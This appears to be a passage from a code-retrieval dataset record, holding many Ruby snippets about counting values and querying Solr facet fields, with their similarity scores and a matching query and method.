#{only})/#{inc} as #{field}\").\n group(field).to_sql\n connection.send :select, sql, 'AREL' # Execute the query\n end", "def solr_range_queries_to_a(solr_field)\n @response[:stats][:stats_fields][solr_field][:data] || []\n end", "def processor_input_field_count(facility, eob_type)\n total_field_count_with_data = 0\n configured_fields = []\n constant_fields = [check_amount, check_number, payment_method]\n fc_ui_date_fields = [check_mailed_date, check_received_date]\n \n if eob_type == 'nextgen'\n # Adding all the two check amount fields in the NextGen grid.\n selected_fields = [check_amount]\n else\n selected_fields = [check_date]\n end\n\n configured_fields << payment_type if facility.details[:payment_type]\n configured_fields << alternate_payer_name if facility.details[:re_pricer_info]\n total_field_array = constant_fields + configured_fields + selected_fields +\n fc_ui_date_fields\n total_field_array_with_data = total_field_array.select{|field| !field.blank?}\n total_field_count_with_data = total_field_array_with_data.length\n total_field_count_with_data\n end", "def stats_fields(value_only: true)\n varfields('j', value_only: value_only)\n end", "def count(options = {})\n if options[:values]\n raise ArgumentError, \"Option not recognized\" if !%w(positive negative non_positive non_negative non_zero zero all).include?(options[:values].to_s)\n @v.send(\"count_\"+options[:values].to_s)\n else\n @v.count_all\n end\n end", "def value_count\n $capitals.values.length\nend", "def single_facet_values(facet_field)\n query_params = { q: '', rows: '0', 'facet.limit'=> -1, 'facet.field' => facet_field}\n solr_results = repository.search(query_params)\n facet_field_results = solr_results.facet_counts['facet_fields']\n collect_facet_field_values(facet_field_results).fetch(facet_field,[])\n end", "def count_freq(array)\n array.each_with_object(Hash.new(0)) { |obj, counts| counts[obj] += 1 }\n end", "def all_token_counts\n token_array = []\n self.data.each do |token, count|\n\ttoken_array.push( count )\n end\n return token_array\n end", "def count\n @data['count']\n end", "def count value=false\n @vector.count value\n end", "def field_score(field, terms, **opt)\n field = scoring_words(field, **opt)\n terms = scoring_words(terms, **opt)\n return 0.0 if field.blank? || terms.blank?\n hits = terms.sum { |term| field.count(term) }\n 100.0 * hits / field.size\n end", "def get_counts_for_all_entities\n @tracker.counts\n end", "def occurrence_fields(field = occurrence)\n [:id, :name, :category_id, :scenario_id, :occurrence] + case field\n when 'Monthly' then [:fixed_cost]\n when 'Annually' then [:fixed_cost, :occurrence_month]\n when 'Fixed' then [:fixed_cost, :occurrence_period_id]\n when 'Revenue Percent' then [:percent_revenue]\n when 'Employee Count' then [:fixed_cost]\n else []\n end\n end", "def occurrence_fields(field = occurrence)\n [:id, :scenario_id, :employee_type_id, :occurrence] + case field\n when 'Monthly' then [:fixed_delta]\n when 'Annually' then [:fixed_delta, :occurrence_month]\n when 'Fixed' then [:fixed_delta, :occurrence_period_id]\n when 'Revenue Threshold' then [:revenue_threshold]\n else []\n end\n end", "def count value=false, &block\n if block_given?\n @data.select(&block).count\n elsif value\n count { |val| val == value }\n else\n size - indexes(*Daru::MISSING_VALUES).size\n end\n end", "def stock_count(stock_count_array)\n stock_count_array[:pets].count\nend", "def frequency(a)\r\n a.group_by do |e|\r\n e\r\n end.map do |key, values|\r\n [values.size]\r\n end\r\nend", "def count_unique_related unique_fieldname, data\n # bail if no data\n return 0 if data.empty?\n\n # Get index of all values that are not equal to filter\n idx = []\n data.each_with_index{|val, i|idx.push(i) if val == code}\n\n # Bail if nothing was found\n return 0 unless idx\n\n # count unique values\n values = question.lime_data.responses_for(unique_fieldname).values_at(*idx)\n return values.uniq.count{|val|val != ''}\n end", "def vote_counts\n counts = {\n :option1 => 0,\n :option2 => 0,\n :option3 => 0,\n :option4 => 0,\n :option5 => 0,\n :option6 => 0\n }\n\n self.votes.each do |vote|\n if vote.option_num == \"1\"\n counts[:option1] += 1\n elsif vote.option_num == \"2\"\n counts[:option2] += 1\n elsif vote.option_num == \"3\"\n counts[:option3] += 1\n elsif vote.option_num == \"4\"\n counts[:option4] += 1\n elsif vote.option_num == \"5\"\n counts[:option5] += 1\n elsif vote.option_num == \"6\"\n counts[:option6] += 1\n end\n end\n\n return counts\nend", "def counts\n count = Hash.new(0)\n self.each{|ele| count[ele] += 1}\n count\n end", "def [] field\n f = self.get(field)\n return nil if (f == nil)\n return f.values.to_a\n end", "def count_elements(array)\n counted = []\n array.each do |item|\n item[:count] = array.count(item)\n counted << item\n end\n return counted.uniq{ |item|\n item[:name]\n }\nend", "def fcount(f,cat)\n if @fc[f] && @fc[f][cat]\n Float(@fc[f][cat])\n else\n 0\n end\n end", "def stats\n\t\t@counts\n\tend", "def test_processor_input_field_count_for_retention_fee_line_item_number_pbid_and_payment_status_code_with_data\n svc = ServicePaymentEob.find(10)\n total_field_count = svc.processor_input_field_count(facilities(:facility_25), true)\n assert_equal(total_field_count, 4)\n end", "def processor_input_field_count(facility, insurance_eob)\r\n total_field_count_with_data = 0\r\n payment_code_fields_with_data = []\r\n configured_amount_fields = []\r\n constant_fields = [service_quantity, service_modifier1,\r\n service_modifier2, service_modifier3, service_modifier4, \r\n copay_reason_code_id, coinsurance_reason_code_id, \r\n contractual_reason_code_id, deductible_reason_code_id,\r\n discount_reason_code_id, noncovered_reason_code_id, primary_payment_reason_code_id]\r\n constant_amount_fields = [service_allowable, service_no_covered,\r\n service_discount, service_co_insurance, service_deductible, service_co_pay,\r\n primary_payment, contractual_amount]\r\n constant_charge_and_payment_fields = [service_procedure_charge_amount,\r\n service_paid_amount]\r\n fc_ui_date_fields = [date_of_service_from, date_of_service_to]\r\n fc_ui_fields = [service_procedure_code, bundled_procedure_code, revenue_code,\r\n denied_reason_code_id, rx_number, service_provider_control_number,\r\n line_item_number, payment_status_code, pbid, retention_fees,\r\n service_prepaid, prepaid_reason_code_id, service_plan_coverage,\r\n patient_responsibility, pr_reason_code_id]\r\n expected_payment_field = [expected_payment]\r\n payment_code_fields = [inpatient_code, outpatient_code]\r\n \r\n payment_code_fields_with_data = payment_code_fields.select{|field|\r\n !field.blank?}.compact\r\n \r\n unless payment_code_fields_with_data.blank?\r\n if payment_code_fields_with_data.include?(\"1,2\")\r\n total_field_count_with_data += 2\r\n else\r\n total_field_count_with_data += 1\r\n end\r\n end\r\n \r\n configured_date_fields = fc_ui_date_fields.select{|field|\r\n facility.details[:service_date_from]}\r\n configured_amount_fields << denied if facility.details[:denied]\r\n configured_amount_fields << drg_amount if facility.details[:drg_amount]\r\n \r\n total_other_fields = constant_fields + fc_ui_fields + configured_date_fields +\r\n constant_charge_and_payment_fields\r\n total_amount_fields = constant_amount_fields + configured_amount_fields +\r\n expected_payment_field\r\n\r\n total_other_fields_with_data = total_other_fields.select{|field| !field.blank?}\r\n total_amount_fields_with_data = total_amount_fields.select{|field|\r\n !field.blank? and field != 0.00}\r\n \r\n total_field_count_with_data += total_other_fields_with_data.length +\r\n total_amount_fields_with_data.length\r\n total_field_count_with_data += service_payment_eobs_ansi_remark_codes.length if facility.details[:remark_code]\r\n total_field_count_with_data += service_payment_eobs_reason_codes.length if $IS_PARTNER_BAC\r\n \r\n if service_allowable.blank? && insurance_eob == true &&\r\n facility.details[:interest_in_service_line]\r\n if facility.details[:service_date_from]\r\n total_field_count_with_data -= 4\r\n else\r\n total_field_count_with_data -= 2\r\n end\r\n end\r\n \r\n total_field_count_with_data\r\n end", "def get_record_types_count\n Hash[Hash[get_record_types.group_by {|x| x}.map {|k,v| [k,v.count]}].sort] # counts of each record type\n end", "def count\n values.inject(0){|m, v| m + v.length}\n end", "def votes_count(voting_field = \"votes\")\n eval(voting_field).try(:[], 'count') || 0\n end", "def get_tax_count\n self.tax1_enabled.to_i+self.tax2_enabled.to_i+self.tax3_enabled.to_i+self.tax4_enabled.to_i\n end", "def val_count(cards)\n\t\t\"123456789TJQK\".chars.collect{|char| cards.count {|card| card.val == char}}\n\tend", "def sum(field, opts={})\n opts = ::Hashie::Mash.new(opts)\n all(opts).inject(0){|sum, item| (item.send(field) || 0) + sum }\n end", "def my_count(val)\n counter = 0\n self.each do |ele|\n if ele == val\n counter += 1\n end\n end\n counter\n end", "def count_elements(array)\n #Build hash where key = name and val = count\n counts = Hash.new(0)\n array.each do |element|\n counts[element[:name]] += 1\n end\n\n #Turn this into array of hashes\n ret = []\n counts.map do |key, val|\n h = {}\n h[:name] = key\n h[:count] = val\n ret << h\n end\n ret\nend", "def records\n @process.instance_variable_get(:@values).count\n end", "def count\n filtered = apply_criteria(@data)\n filtered.count\n end", "def genre_count(term)\n #count the genres in object.get_genres\n genres = Hash.new(0)\n object.get_genres(term).each do |genre|\n case\n when genre.include?(\"rap\")\n genres[:rap]+=1\n when genre.include?(\"pop\")\n genres[:pop]+=1\n when genre.include?(\"country\")\n genres[:country]+=1\n when genre.include?(\"indie\")\n genres[:indie]+=1\n when genre.include?(\"hip\")\n genres[\"hip hop\"]+=1\n when genre.include?(\"rock\")\n genres[:rock]+=1\n when genre.include?(\"jazz\")\n genres[:jazz]+=1\n when genre.include?(\"instrumental\")\n genres[:instrumental]+=1\n when genre.include?(\"r&b\")\n genres[\"r&b\"]+=1\n else\n genres[:misc] +=1\n end\n end\n genres\n end", "def field_count\n @fields.length\n end", "def counter(field, options = {})\n field = field.to_sym\n options.each do |option, value|\n set_period(field, option, value) if Period.exists?(option)\n set_best(field, value) if option == :best\n end\n end", "def equal_to_numbers(field_values = {})\n fields = {}\n \n field_values.each_pair do |field_name, v|\n bits = self.bits_for(field_name)\n fields[bits] = v if bits.length > 0\n end\n \n all_num = 0\n none_num = 0\n fields.each_pair { |field_bits, val|\n field_bits.each_with_index do |bit, i|\n if @options[:bool_caster].call(val[i])\n all_num |= (1 << bit)\n else\n none_num |= (1 << bit)\n end\n end\n }\n \n [all_num, none_num]\n end", "def count_elements(array)\n array.uniq.collect do |word|\n word[:count] = array.count(word)\n word\n end\nend", "def count_elements(array)\n newArray = []\n array.each do |obj|\n newArray.push(obj)\n obj[:count] = 0\n #if newArray.length > 0\n newArray.each do |obj|\n if obj.include?(:count)\n obj[:count] += 1\n else\n obj[:count] = 1\n end\n #binding.pry\n end\n #end\n end\n newArray.shift\n return newArray\nend", "def raw_count(value)\n @bins[value] || 0\n end", "def value_count(hash, value)\n count = 0\n hash.each { |elem| count += 1 if elem[1]==value }\n count\nend", "def count_elements (array)\n result_array = []\n\n array.each do |data|\n flag =0\n result_array.each do |k|\n if k[:name] == data[:name]\n k[:count] +=1\n flag =1\n end\n end\n if(flag == 0)\n data[:count] = 1\n result_array << data\n end\n end\n result_array\nend", "def customer_pet_count(customer_array)\n customer_array[:pets].count\nend", "def extract_values(row, field)\n values = []\n ['', '[]', '[en]', '[en_US]'].each do |attr|\n values << row[field + attr] unless row[field + attr].nil?\n end\n values\n end", "def count_freq\n hash = Hash.new(0)\n self.each do |element|\n hash[element] +=1\n end\n return hash\n end", "def Count()\n _getproperty(1, [], [])\n end", "def countables\n key :type, Integer\n key :ts, Time\n key :uid, String\n\n key :count, Integer\n\n generate_aggregators { |ts, method|\n totype = method_names_type_counter(method)\n fromtype = get_fromtype_for_totype(totype)\n aggregate_and_create(fromtype, totype, ts)\n }\n end", "def item_count\n item_values.values.compact.sum { |v| v.is_a?(Array) ? v.size : 1 }\n end", "def count_elements(array)\n new_array = array.uniq\n new_array.each do |hash|\n hash[:count] = array.count(hash)\n end\n new_array\nend", "def get_cell_counts(array=\"\")\n cell_counts = array.split(\",\")\n cell_counts.shift\n return cell_counts\n end", "def test_processor_input_field_count_with_for_with_remark_codes\n svc = service_payment_eobs(:svc_7)\n total_field_count = svc.processor_input_field_count(facilities(:facility8), false)\n assert_equal(total_field_count, 7)\n end", "def status_counts\n counts = Array.new\n\n if @db != nil\n is_ok = false\n\n begin\n stm = @db.prepare( 'SELECT qStatus, COUNT( qStatus ) As qCount FROM qryResults GROUP BY qStatus ORDER BY qStatus')\n rs = stm.execute\n\n rs.each do |row|\n result = { 'status' => row['qStatus'], 'count' => row['qCount'] }\n counts.push result\n end\n\n stm.close\n is_ok = true\n rescue ::SQLite3::Exception => e\n Maadi::post_message(:Warn, \"Repository (#{@type}:#{@instance_name}) encountered an SELECT Status Code Counts error (#{e.message}).\")\n end\n end\n\n return counts\n end", "def element_count(array)\n\nend", "def count_occurrences(array)\n result = {}\n array.each do |x|\n result[x] = if !result.key?(x)\n 1\n else\n result.fetch(x) + 1\n end\n end\n result.each do |k, count|\n p \"#{k} => #{count}\"\n end\nend", "def note_status\n field_count = size_count = 0\n all_notes.each_value do |v|\n if v.present?\n field_count += 1\n size_count += v.strip_squeeze.length\n end\n end\n [field_count, size_count]\n end", "def freq(array)\n hash = Hash.new(0)\n array.each{|key| hash[key] += 1}\n hash\nend", "def matter_status_count\n undisputed=self.matter_facts.collect{|mf| mf.status_id if mf.status_id == CompanyLookup.find_by_lvalue_and_company_id('Undisputed', mf.company_id).id}.compact.size\n disputed=self.matter_facts.collect{|mf| mf.status_id if mf.status_id == CompanyLookup.find_by_lvalue_and_company_id('Disputed By Opposition', mf.company_id).id}.compact.size\n\n [undisputed,disputed]\n end", "def toCountsArray(counts)\n\t num = counts.sort\n\t return num.to_a\nend", "def calculate_count _changed_card=nil\n result = {}\n item_cards(default_query: true).each do |metric_id|\n result[metric_id] = true unless result.key?(metric_id)\n end\n result.to_json\nend", "def count\n @valueset.length\n end", "def count_no\n rsvp.no.count\n end", "def count_elements(array)\n array.group_by(&:itself).map { |key, value| key.merge(count: value.length)} # counts number of times occur\nend", "def check_for_val_count\n @browser.elements(:class => \"txt_val_.*\").size\n end", "def count\n @type_variants.values.reduce(0) { |m, o| m + o.size }\n end", "def document_counts\n @document_count ||= solr_response.facet_queries.each_with_object({}) do |(k, v), h|\n h[k.split(/:/).first] = v\n end\n end", "def value_count(hash, value)\n hash.select { |_k, v| v == value }.length\nend", "def sum(field)\n sum = documents.inject(nil) do |memo, doc|\n value = doc.send(field)\n memo ? memo += value : value\n end\n end", "def count_occurrences(array)\n return puts('Invalid Array') unless array.is_a?(Array)\n return puts('There is nothing to count') if array.empty?\n\n counts = array.each_with_object(Hash.new(0)) do |word, hash|\n hash[word] += 1\n end\n\n counts.each do |word, count|\n puts \"#{word} => #{count}\"\n end\nend", "def samples_count(hash, status)\n soma = 0\n hash.each do |key, value|\n soma += value[status.to_sym] unless key == 'total'\n end\n return soma\n end", "def sentiments_counts\n #This will get the sentiments related to each instance\n x = self.sentiments\n\n #These two lines are instantiated for the while loop below\n y = 0\n sentiments_count = []\n\n #This is a loop taking 'positive', 'negative', or 'neutral' from the instances\n while y < x.count\n sentiments_count << x[y][:sentiment]\n y += 1\n end\n\n #This creates a hash and counts each of the words' occurrences in the array\n #The output will look something like:\n # {\"Positive\" => 2, \"Neutral\" => 1, \"Negative\" => 3}\n hash = sentiments_count.each_with_object(Hash.new(0)) { |word,counts| counts[word] += 1 }\n hash.map {|key, value| puts \"#{key} - #{value}\"}\n end" ]
[ "0.74157274", "0.67636883", "0.63846666", "0.62543505", "0.62000453", "0.61635244", "0.6139715", "0.60916585", "0.60703045", "0.6066936", "0.60650957", "0.59519815", "0.5942008", "0.5937223", "0.5859856", "0.5786748", "0.57780814", "0.5776384", "0.57422227", "0.560179", "0.557931", "0.5575095", "0.554828", "0.55300206", "0.55273575", "0.5524567", "0.5475606", "0.54406166", "0.5394786", "0.53634685", "0.53302026", "0.53255177", "0.53036076", "0.5292103", "0.52913153", "0.5274703", "0.526854", "0.5263942", "0.5263745", "0.5261125", "0.5254039", "0.52482176", "0.52410406", "0.5227071", "0.5227032", "0.52264535", "0.5224812", "0.5210282", "0.5197405", "0.51834434", "0.5177305", "0.51652235", "0.5162043", "0.5155478", "0.51547104", "0.514004", "0.513936", "0.51316506", "0.5130249", "0.5120997", "0.5118762", "0.51182497", "0.51085883", "0.5106233", "0.5105258", "0.50989497", "0.50927603", "0.50870687", "0.5085782", "0.508181", "0.50785315", "0.50720584", "0.5058028", "0.50537115", "0.50536877", "0.5047556", "0.5047355", "0.50421697", "0.5035269", "0.50174147", "0.50166726", "0.50137293", "0.50109637", "0.50011337", "0.49996895", "0.49894834", "0.49858278", "0.498243", "0.4975222", "0.4971915", "0.4971519", "0.4969798", "0.49697655", "0.4964435", "0.49588922", "0.49528158", "0.4950909", "0.49505252", "0.49466324", "0.49404517" ]
0.5099709
65
Returns the array of field values for the given field in the order they were returned from solr
def facet_field_values(field) facet_field_values ||= {} facet_field_values[field.to_s] ||= begin a = [] facet_field(field).each_with_index do |val_or_count, i| a << val_or_count if i % 2 == 0 && facet_field(field)[i+1] > 0 end a end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def field(field)\n field = field.to_s\n result = []\n keys.sort.each do |name|\n result << self[name].get(field)\n end\n result\n end", "def [] field\n f = self.get(field)\n return nil if (f == nil)\n return f.values.to_a\n end", "def field_to_array(field)\n final = []\n field.each do |value|\n final << value.to_s\n end\n final\n end", "def solr_range_queries_to_a(solr_field)\n @response[:stats][:stats_fields][solr_field][:data] || []\n end", "def values_array\n @_field_path.map{ |field_| @_values[field_.name] }\n end", "def pick_array_field(data, field)\n data.map { |x| x[field] }\n end", "def get_solr_response_for_field_values(field, values, extra_controller_params = {})\n # solr_response = query_solr(params, extra_controller_params.merge(solr_documents_by_field_values_params(field, values)))\n #\n # [solr_response, solr_response.documents]\n\n # Updated Blacklight 5.10.x version of this deprecated function...\n\n query =\n search_builder.with(params).merge(extra_controller_params).merge(solr_documents_by_field_values_params(field, values))\n\n solr_response = repository.search(query)\n\n [solr_response, solr_response.documents]\n end", "def get_solr_response_for_field_values(field, values, extra_solr_params = {})\n values ||= []\n values = [values] unless values.respond_to? :each\n value_str = \"(\\\"\" + values.to_a.join(\"\\\" OR \\\"\") + \"\\\")\"\n solr_params = {\n :defType => \"lucene\", # need boolean for OR\n :q => \"#{field}:#{value_str}\",\n # not sure why fl * is neccesary, why isn't default solr_search_params\n # sufficient, like it is for any other search results solr request? \n # But tests fail without this. I think because some functionality requires\n # this to actually get solr_doc_params, not solr_search_params. Confused\n # semantics again. \n :fl => \"*\", \n :facet => 'false',\n :spellcheck => 'false'\n }.merge(extra_solr_params)\n \n solr_response = find( self.solr_search_params().merge(solr_params) )\n document_list = solr_response.docs.collect{|doc| SolrDocument.new(doc, solr_response) }\n [solr_response,document_list]\n end", "def get_ordered_terms(value, field)\n solr_options = {\n :\"terms.fl\" => field,\n :\"terms.lower\" => value,\n :\"terms.limit\" => total_terms\n }\n response = Blacklight.solr.send_and_receive(\"#{BlacklightBrowseNearby::Engine.config.request_handler}\", {:params=>solr_options})\n response[\"terms\"][field].select{|term| term.is_a?(String) }[start_of_terms..(total_terms-1)]\n end", "def facet_field(field)\n facet_fields[field.to_s] || []\n end", "def sorted_for_field(field)\n for_field(field).sort\n end", "def single_facet_values(facet_field)\n query_params = { q: '', rows: '0', 'facet.limit'=> -1, 'facet.field' => facet_field}\n solr_results = repository.search(query_params)\n facet_field_results = solr_results.facet_counts['facet_fields']\n collect_facet_field_values(facet_field_results).fetch(facet_field,[])\n end", "def fields\n @doc.xpath(\"//field\").map{|node| node['id']}.sort\n end", "def values\n fields.map { |f| f.value }\n end", "def solr_groups(group_field)\n return [] if @solr_response[\"grouped\"] == nil\n @solr_response[\"grouped\"][group_field][\"groups\"].map {|x| x[\"groupValue\"]}\n end", "def getfieldvalues\n #instantiate the Array here to be sure it is clear of values before populating\n @fieldvalues = Array.new\n @db.execute(\"select distinct(#{@fieldname}) from data\") do |value|\n v=value[0].to_s\n @fieldvalues << value[0].to_s\n end\nend", "def values\n iterator = @form_fields.keySet.iterator\n set = []\n set << field(iterator.next.toString) while iterator.hasNext\n set\n end", "def extract_values(records, field)\n summarize_field(records, field).keys\nend", "def field_value(name, field)\n placement_collection[name].collect{|entry| entry[field]}\n end", "def extract_values(row, field)\n values = []\n ['', '[]', '[en]', '[en_US]'].each do |attr|\n values << row[field + attr] unless row[field + attr].nil?\n end\n values\n end", "def to_a\n @fields.collect { |field|\n [ field.name, field.value ]\n }\n end", "def collect_subfield_values_by_code(field, code)\n field.subfields.select { |sf| [*code].include?(sf.code) }.map(&:value)\n end", "def get_field_list\n return make_request(\"#{self.endpoint}/list/fields\")\n end", "def values\n @fields.map { |field_name, field| field.values.map(&:to_s) }.transpose\n end", "def parse_values(field)\n if field =~ /^\\w+: (#{match_values})$/\n $1.scan(/(#{match_value})(?:,|$|\\])/).inject([]) do |m, match|\n m << match[0]\n end\n #TODO GC 02/26/2010 - What to do if it does not match the values pattern?\n end\n end", "def get_next_documents_from_field_value(value, field)\n terms = get_ordered_terms(value, field)\n get_solr_response_for_field_values(field, terms, :per_page=>terms.length).last.sort{|a,b| a[shelfkey_field] <=> b[shelfkey_field] }\n end", "def terms_for_field(name)\n get_for_field(name).map(&:term).uniq\n end", "def field_values\n fieldset.get_values_using_fsa(self)\n end", "def field_indexes\r\n return @field_indexes\r\n end", "def get_field_values document, _field, field_config, options = {}\n presenter(document).field_values field_config, options\n end", "def fields\n @locations.map(&:field).uniq\n end", "def fields\n [*lookup]\n end", "def[](field)\n return self.values[field.to_s]\n end", "def field_names\r\n return @field_names\r\n end", "def get_field_value(field)\n field_values = get_fields(field)\n return nil if field_values.blank?\n if field_values.first.delegation_field.multiple\n field_values.map(&:to_value)\n else\n field_values.first.to_value\n end\n end", "def solr_names_and_values(field_name, field_value, index_types)\n return {} if field_value.nil?\n \n # Determine the set of index types\n index_types = Array(index_types)\n index_types.uniq!\n index_types.dup.each do |index_type|\n if index_type.to_s =~ /^not_(.*)/\n index_types.delete index_type # not_foo\n index_types.delete $1.to_sym # foo\n end\n end\n \n # Map names and values\n \n results = {}\n\n # Time seems to extend enumerable, so wrap it so we don't interate over each of its elements.\n field_value = [field_value] if field_value.kind_of? Time\n \n index_types.each do |index_type|\n Array(field_value).each do |single_value|\n # Get mapping for field\n descriptor = indexer(index_type)\n data_type = extract_type(single_value)\n name, converter = descriptor.name_and_converter(field_name, type: data_type)\n next unless name\n\n # Is there a custom converter?\n # TODO instead of a custom converter, look for input data type and output data type. Create a few methods that can do that cast.\n\n value = if converter\n if converter.arity == 1\n converter.call(single_value)\n else\n converter.call(single_value, field_name)\n end\n elsif data_type == :boolean\n single_value\n else\n single_value.to_s\n end\n \n # Add mapped name & value, unless it's a duplicate\n if descriptor.evaluate_suffix(data_type).multivalued?\n values = (results[name] ||= [])\n values << value unless value.nil? || values.include?(value)\n else\n Solrizer.logger.warn \"Setting #{name} to `#{value}', but it already had `#{results[name]}'\" if results[name] && Solrizer.logger\n results[name] = value\n end\n end\n end\n \n results\n end", "def by_field(field_name)\n begin\n @arr[@column_map[field_name.to_s]]\n rescue TypeError\n nil\n end\n end", "def fields_for_query\n self.class.fields_coercions.keys.each_with_object({}) do |field_name, results|\n results[field_name] = @fields.each_with_object({}) do |(locale, fields), field_results|\n field_results[locale] = get_value_from(fields, field_name)\n end\n end\n end", "def fields_for_query\n self.class.fields_coercions.keys.each_with_object({}) do |field_name, results|\n results[field_name] = @fields.each_with_object({}) do |(locale, fields), field_results|\n field_results[locale] = get_value_from(fields, field_name)\n end\n end\n end", "def pluck( field_name )\n\n end", "def each_field\n self.class.__send__(:sorted_fields).each do |_, field|\n value = __send__(field.name)\n yield(field, value)\n end\n end", "def field_ids\n @fields.keys\n end", "def [](field_)\n @_values[_interpret_field(field_)]\n end", "def all_fields(table, field_name, value)\n body = savon.\n call(:get_all_fields_records_given_a_field_name_and_value,\n message: {\n 'strFeatureClassOrTableName' => table,\n 'strFieldNameToSearchOn' => field_name,\n 'strValueOfFieldToSearchOn' => value\n }).\n body\n\n resp = body[:get_all_fields_records_given_a_field_name_and_value_response]\n rslt = resp[:get_all_fields_records_given_a_field_name_and_value_result]\n polys = rslt[:diffgram][:document_element][:municipality_poly]\n\n poly = if polys.is_a? Array\n polys.first\n elsif polys.is_a? Hash\n polys\n else\n fail \"Unexpected polys #{polys.class.name}, wanted Array or Hash\"\n end\n end", "def for_field(field)\n @all.select { |f| f.field == field.to_sym }\n end", "def get_values_from_ber(ber_data, field)\n field_offset = ber_data.index(field)\n\n unless field_offset\n vprint_status(\"Field not found in BER: #{field}\")\n return nil\n end\n\n # Value starts after our field string\n values_offset = field_offset + field.length\n values_start_offset = values_offset + 8\n values_len_offset = values_offset + 5\n curr_len_offset = values_offset + 7\n\n values_length = ber_data[values_len_offset].unpack('C')[0]\n values_end_offset = values_start_offset + values_length\n\n curr_length = ber_data[curr_len_offset].unpack('C')[0]\n curr_start_offset = values_start_offset\n\n if (curr_length >= 127)\n curr_length = ber_data[curr_len_offset+1,4].unpack('N')[0]\n curr_start_offset += 4\n end\n\n curr_end_offset = curr_start_offset + curr_length\n\n values = []\n while (curr_end_offset < values_end_offset)\n values << ber_data[curr_start_offset..curr_end_offset]\n\n break unless ber_data[curr_end_offset] == \"\\x04\"\n\n curr_len_offset = curr_end_offset + 1\n curr_length = ber_data[curr_len_offset].unpack('C')[0]\n curr_start_offset = curr_end_offset + 2\n curr_end_offset = curr_end_offset + curr_length + 2\n end\n\n # Strip trailing 0 or \\x04 which is used to delimit values\n values.map! {|x| x[0..x.length-2]}\n\n return values\n end", "def record_to_array(marc_field)\n record_values = []\n marc_field, sub_field = marc_field.split('.')\n to_marc.find_all {|f| marc_field == f.tag}.each do |entry|\n unless entry[sub_field].nil?\n record_values.push(entry[sub_field])\n # or clean the record first\n # record_values.push(clean_record(entry[sub_field])\n end\n end\n record_values\n end", "def the_fields(field_key)\n r = []\n object.get_fields(field_key).each do |text|\n r << h.do_shortcode(text.to_s.translate(@_deco_locale), object)\n end\n r\n end", "def clean_field_array(field)\n final = []\n field.each do |value|\n final << clean_field(value.to_s)\n end\n final\n end", "def fetch_for_field(field_name, facet_params)\n example_count = facet_params[:examples]\n example_fields = facet_params[:example_fields]\n\n facet_options = @response_facets.fetch(field_name, {}).fetch(\"terms\", [])\n\n slugs = facet_options.map { |option|\n option[\"term\"]\n }\n if slugs.empty?\n {}\n else\n fetch_by_slug(field_name, slugs, example_count, example_fields)\n end\n end", "def get_opensearch_response(field=nil, extra_controller_params={})\n solr_params = solr_opensearch_params(extra_controller_params)\n response = Blacklight.solr.find(solr_params)\n a = [solr_params[:q]]\n a << response.docs.map {|doc| doc[solr_params[:fl]].to_s }\n end", "def the_json_fields(field_key)\n r = []\n object.get_fields(field_key).each do |text|\n _r = JSON.parse(text || '{}').with_indifferent_access\n _r.keys.each do |k|\n _r[k] = h.do_shortcode(_r[k].to_s.translate(@_deco_locale), object)\n end\n r << _r\n end\n r\n end", "def fetch_fields\n fields = @result.fields\n field_types = @result.field_types\n tables = @result.respond_to?(:tables) ? @result.tables : [] # My addition to mysql2 results.c\n fields_arr = []\n (0...@result.fields.length).each do |i|\n fields_arr[i] = MySQL_FIELD.new(\n name: fields[i],\n table: tables[i],\n db: databases[i],\n type: field_types[i]\n )\n end\n return fields_arr\n end", "def get_solr_response_for_field_values_for_bookmarks(field, values, extra_solr_params = {})\n values = Array(values) unless values.respond_to? :each\n\n q = if values.empty?\n \"NOT *:*\"\n else\n \"#{field}:(#{ values.to_a.map { |x| solr_param_quote(x)}.join(\" OR \")})\"\n end\n\n solr_params = {\n :defType => \"lucene\", # need boolean for OR\n :q => q,\n # not sure why fl * is neccesary, why isn't default solr_search_params\n # sufficient, like it is for any other search results solr request?\n # But tests fail without this. I think because some functionality requires\n # this to actually get solr_doc_params, not solr_search_params. Confused\n # semantics again.\n :fl => \"*\",\n :facet => 'false',\n :spellcheck => 'false'\n }.merge(extra_solr_params)\n solr_response = find(self.solr_search_params().merge(solr_params).update('group' => 'false'))\n\n document_list = solr_response.docs.collect {|doc| SolrDocument.new(doc, solr_response)}\n [solr_response, document_list]\n end", "def fields\n return @fields if defined?(@fields)\n\n @fields = array_of_items_for(Fields, :fields)\n end", "def parse_records(field_name)\n records = []\n\n [@values[field_name]].flatten.each do |raw_record|\n records << Hash[raw_record.split(@multi_value_delim).map {|pair| pair.split('=',2)}]\n end\n\n records\n end", "def [](field_name)\n f = field(field_name)\n f && f.value\n end", "def field_names\n jso.field_names\n end", "def get_ordering_fields\n return self.class.ordering_fields&.map(&:to_s) || self.get_fields\n end", "def fetch_records_field(record_class:, record_ids:, field:)\n output = []\n record_ids.each do |record_id|\n key = get_key_for_record_id(record_id: record_id, record_class: record_class)\n data = REDIS_APP_JOIN.hget(key, field)\n output << data if data # checks if nil\n end\n return output.uniq\n end", "def get_search_values\n search_by_values = [[I18n.translate(\"part_number\",:scope => \"open_orders.index\"),\"pn\"],[I18n.translate(\"po_number\",:scope => \"open_orders.index\"),\"po\"],\n [I18n.translate(\"all_refill_order\",:scope => \"order_refill.index\"),\"all\"]]\n\n search_by_values\n end", "def fields\n self.find('ns:field', :ns => self.class.registered_ns).map do |field|\n Field.new(field)\n end\n end", "def search_field_list(lens = nil)\n blacklight_config(lens).search_fields.values\n end", "def fields(*fields)\n result = []\n keys.sort.each do |name|\n result << self[name].pick(*fields)\n end\n result\n end", "def get_opensearch_response(field=nil, extra_controller_params={})\n solr_params = solr_opensearch_params().merge(extra_controller_params)\n response = find(solr_params)\n a = [solr_params[:q]]\n a << response.docs.map {|doc| doc[solr_params[:fl]].to_s }\n end", "def all_fields\n @fields.values\n end", "def sorted_fields\n @sorted_fields ||= fields.sort_by {|tag, _| tag}\n end", "def field_value field, options = {}\n field_values(field, options)\n end", "def [](field)\n @values[field.to_sym]\n end", "def add_vals_to_fld(solr_input_doc, fld_name, val_array)\n unless val_array.nil? || solr_input_doc.nil? || fld_name.nil?\n val_array.each { |value| \n add_val_to_fld(solr_input_doc, fld_name, value)\n }\n end\n end", "def edit_facet_fields\n @fields = blacklight_solr.get('admin/luke', params: { fl: '*', 'json.nl' => 'map' })['fields']\n end", "def each_field\n fields.merge(extension_fields).sort_by {|tag, _| tag}.each do |_, field|\n value = __send__(field.name)\n yield(field, value)\n end\n end", "def property_values_to_solr(pairs)\n pairs.map do |(property, value)|\n 